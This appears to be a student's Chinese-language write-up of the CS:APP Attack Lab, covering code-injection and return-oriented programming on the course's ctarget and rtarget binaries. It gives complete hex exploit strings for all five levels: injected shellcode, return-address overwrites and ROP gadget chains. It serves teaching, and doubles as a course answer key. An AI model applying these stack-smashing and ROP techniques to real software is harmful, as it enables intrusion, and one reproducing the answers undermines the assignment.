• 缓冲区溢出
    • 通过执行注入的代码,重写返回地址,执行另一个代码片段。
  • ROP 攻击
    • 随机化、将保存栈的内存区域设置为不可执行等技术使得缓冲区溢出攻击失效。这时可以通过现有程序中的代码而不是注入新的代码实现攻击。利用 gadgets 和 string 组成注入的代码,具体来说是使用 pop 和 mov 指令加上某些常数来执行特定的操作。

# 实验要求

  • 实验分为 5 个阶段,level1-3 是通过缓冲区溢出方式进行攻击,level4-5 则是通过 ROP 攻击方式进行攻击。

# 文件功能

  • cookie.txt: 存放你攻击用的标识符
  • ctarget: 执行 code-injection 攻击的程序
  • rtarget: 执行 return-oriented-programming 攻击的程序
  • farm.c:gadget farm 产生代码片段
  • hex2raw: 生成攻击字符串
    其中,ctarget 和 rtarget 会从标准输入读取字符串,保存在大小为 BUFFER_SIZE 的 char 数组中。

# 前置任务

  • 对 ctarget 进行反汇编
objdump -d ctarget > ctarget.txt
  • 对 rtarget 进行反汇编
objdump -d rtarget > rtarget.txt
  • 确定 getbuf 的缓冲区大小
    0
    778 行可知 getbuf 开辟了 40 (0x28) 字节的栈空间,即 buffer 为 40 字节

# level 1

不需要注入新的代码,只需要让程序重定向调用某个方法。

void touch1()
{
    vlevel = 1;     /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

touch1 函数中没有特别要求,只要运行进入该函数即可调用 validate (1)
所以只需输入字符串第 40 字节后为 touch1 函数的地址即可以覆盖掉原函数返回地址进入 touch1

  • 查看汇编代码:
    2

答案为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00    //小端输入

e_1

# level 2

需要注入一段代码

void touch2(unsigned val)
{
    vlevel = 2;     /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

touch2 中只有 val==cookie 后才能进入 validate (2),说明除了进入该函数外,val 必须等于 cookie

  • 查看汇编代码:
    3
    % edi 中存放 val,0x202ce2 (% rip)(即 0x6044e4)存放 cookie
  • 调用 gdb:
    4
    即 % rdi 需要修改为 0x59b997fa
    所以需要在 buffer 中注入代码,而为了运行注入的代码,需要跳转回栈顶地址
  • 调用 gdb:
    5
    得到栈顶地址为 0x5561dc78,即输入字符串第 40 字节后为 0x5561dc78 即可以覆盖掉原函数返回地址跳回栈顶运行注入的代码
    而注入的代码需要修改 % rdi 的内容并跳到 touch2 函数:
mov $0x59b997fa %rdi        //将%rdi内容修改为cookie
push $0x4017ec              //将touch2的地址push入栈中
ret                         //结束该函数,并返回上层函数返回地址
//由于该代码是人为注入的,所以并不存在上层函数返回地址
//而此时就会将刚入栈的0x4017ec作为返回地址,即跳到了touch2

gcc 汇编并 objdump 反汇编后得到对应的 16 进制表示:
7

  • 将注入代码和跳转地址结合即为答案:
48 c7 c7 fa 97 b9 59 68    //修改%rdi并跳到touch2
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00    //回到栈顶

e_2

# level 3

需要传入字符串

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
    vlevel = 3;     /*Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!:You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire:You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

touch3 中只有 hexmatch (cookie,sval)==1 后才能进入 validate (3)
而 hexmatch 函数的作用为将 cookie 转成字符串并和 sval 比较,如果相等则返回 1,说明除了需进入 touch3 函数外,*sval 必须等于 cookie 的字符串形式

  • 查看汇编代码:
    8
    % rsi(函数第二个参数)为 char* sval,% edi 为 cookie,而 877 行将 % rdi 转入 % rsi,说明初始状态下 % rdi 中存放着 char* sval,即 % rdi 需要修改
    所以需要在 buffer 中注入代码,而为了运行注入的代码,同 Phase 2 一样需要跳转回栈顶地址 0x5561dc78
    9
    注意到 hexmatch 函数中将 % r12,% rbp,% rbx 入栈,而这样会造成栈中原来输入的内容的覆盖
    10
    (三次 push 分别改变了 0x5561dc90,0x5561dc88,0x5561dc80 中的内容)

# 方法一

由于原函数返回地址更低的地方(即 0x5561dca8 及原栈帧中更低的地方)并不会被覆盖
所以可以将字符串(ASCII 码形式)存入 0x5561dca8 并将 sval 指针(% rdi)置为 0x5561dca8
objdump 反汇编后代码:
11

  • 该方法答案:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00    //代码无需补足一字节
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00    //地址要补足一字节,否则segmentation fault
35 39 62 39 39 37 66 61    //小端存储

# 方法二 (最先尝试的方法)

注意到 0x5561dc88 对应 % rbp,0x5561dc90 对应 % r12,所以可以将字符串(ASCII 码形式)存入 % rbp,并将 % r12 清零(因为 % r12 中存着 0x3,不清零会把 3 以 ASCII 码的形式打出来),将 sval 指针(% rdi)置为 0x5561dc88,这样在 hexmatch 开头三次 push 后字符串就被存入了 0x5561dc88 中:
12
objdump 反汇编后代码:
13

  • 该方法答案:
48 c7 c7 88 dc 61 55 48 //修改%rdi
bd 35 39 62 39 39 37 66 //%rbp注入字符串
61 49 c7 c4 00 00 00 00 //%r12清零
68 fa 18 40 00 c3 00 00 //touch3地址入栈
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //回到栈顶

e_3

ROP 攻击不同于先前的攻击代码注入(注入代码从栈顶写入),所有的 gadget 都应该从返回地址开始依次写入,而每段 gadget 运行完 ret 后都会依次进入下一个 gadget

# level 4

由于该阶段要实现的效果和 level 2 一样,所以同样需要将 % rdi 内容修改为 0x59b997fa 并跳到 touch2 函数
由于只能使用 mov (Resigter to Register),pop,ret 和 nop,所以不能直接将立即数转入寄存器中,而需要借助 pop 将栈中的立即数转入寄存器中
查询 farm,发现除了 0x58(pop % rax)外没有 0x59~0x5f 有关能作为 gadget 的代码
所以汇编代码只能为:

pop         %rax        
retq
movq        %rax,%rdi
retq

查询 farm 可知 pop % rax+ret 可以用两种 gadget 表示:(0x90=nop,可以忽略)
14
15
movq % rax,% rdi+ret 可以用两种 gadget 表示:(0x90=nop,可以忽略)
16
17
而 pop 的内容(0x59b997fa)应该放在 pop+retq 指令之后,此时 pop 指令会将 pop 后对应位置的元素 pop 进对应的寄存器中
而 touch2 函数地址(0x4017ec)应该放在 movq+retq 指令之后,当 ret 指令运行完毕后之后的地址会充当返回地址进入 touch2 函数

  • 答案:(所有 gadget 应该填充至 1 字节,否则会 segmentation fault)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00    
00 00 00 00 00 00 00 00    //填充40字节
cc 19 40 00 00 00 00 00    //pop %rax(或ab 19 40 00 00 00 00 00)
fa 97 b9 59 00 00 00 00    //被pop的cookie
c5 19 40 00 00 00 00 00    //movq %rax,%rdi(或a2 19 40 00 00 00 00 00)
ec 17 40 00 00 00 00 00    //返回地址

e_4

# level 5

由于该阶段要实现的效果和 Phase 3 一样,所以同样需要将 % rdi 内容修改为 cookie 字符串对应地址并跳到 touch3 函数
由于每次栈都是随机开辟,存入字符串的地址并不固定,所以不能直接把地址赋值给 % rdi,而需要通过读取栈顶地址 % rsp 加上一定的偏移量来获得字符串地址
而地址计算需要 lea 命令,查找 farm:
18
该命令正好可作为一个栈地址偏移的 gadget,% rdi 和 % rsi 一个为栈顶地址,一个为偏移量
继续通过查找 farm 发现仅仅存在 % eax->% edx->% ecx->% esi 这样一条路径通过 movl 为 % rdi 赋值,而 movl 指令以寄存器作为目的时,会把该寄存器的高位 4 字节设置为 0,即会损失高四字节的值。而栈顶地址经过 gdb 断点测试,都至少大于 0x7ffffff00000:
19
而偏移量肯定小于 0xfffffffff,所以地址只能存入 % rdi 中,而把偏移量存入 % rsi 中
此外由于偏移量必须为正数(高四字节置 0),所以输入的字符串不能在前 40 个字节中(该位置地址比 % rsp 更小,且可能会被覆盖),只能在所有 gadget 之后写入(防止干扰栈中 gadget)

所以 ROP 整体思路为:
1. 将偏移量 pop 入 % rax 中
2.movl 指令将偏移量以该顺序:% eax->% edx->% ecx->% esi 移入 % rsi 中
3.movq 指令将栈指针以该顺序:% rsp->% rax->% rdi 移入 % rdi 中
4.lea 指令计算字符串地址
5. 计算结果 % rax 赋值给 % rdi
6. 调用 touch3

汇编代码为:

pop %rax
retq

20

movl         %eax,%edx
retq

21

movl        %edx,%ecx
retq

22

movl         %ecx,%esi
retq

23

movq         %rsp,%rax
retq

24

movq         %rax,%rdi
retq

25

lea         (%rdi,%rsi,1),%rax
retq

26

movq        %rax,%rdi
retq

27
注意到每次 ret 后 % rsp 都会加 0x8,% rax 内的地址和末尾字符串地址之间的差等于 (两者之间的命令个数 + 1)*8
从 movq % rsp,% rax 算起有两个 movq 和一个 lea,所以偏移量为 (3+1)*8=32=0x20
28
调用 gdb 发现输入的字符串之后的字节为 0xf4f4f4f4f4f4f400,末尾两位为 0,由于字符串是从右向左输出,所以 0xf4f4f4f4f4f4f400 不会输出多余字符,也就无需将该字节清零

  • 最终答案(答案不唯一):
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00    //填充40字节
ab 19 40 00 00 00 00 00    //pop %rax
20 00 00 00 00 00 00 00    //被pop的偏移量
42 1a 40 00 00 00 00 00    //mov %eax,%edx
34 1a 40 00 00 00 00 00 //mov %edx,%ecx
27 1a 40 00 00 00 00 00    //mov %ecx,%esi
06 1a 40 00 00 00 00 00    //mov %rsp,%rax
c5 19 40 00 00 00 00 00    //mov %rax,%rdi
d6 19 40 00 00 00 00 00    //lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00    //mov %rax,%rdi
fa 18 40 00 00 00 00 00    //touch3地址
35 39 62 39 39 37 66 61    //字符串

e_5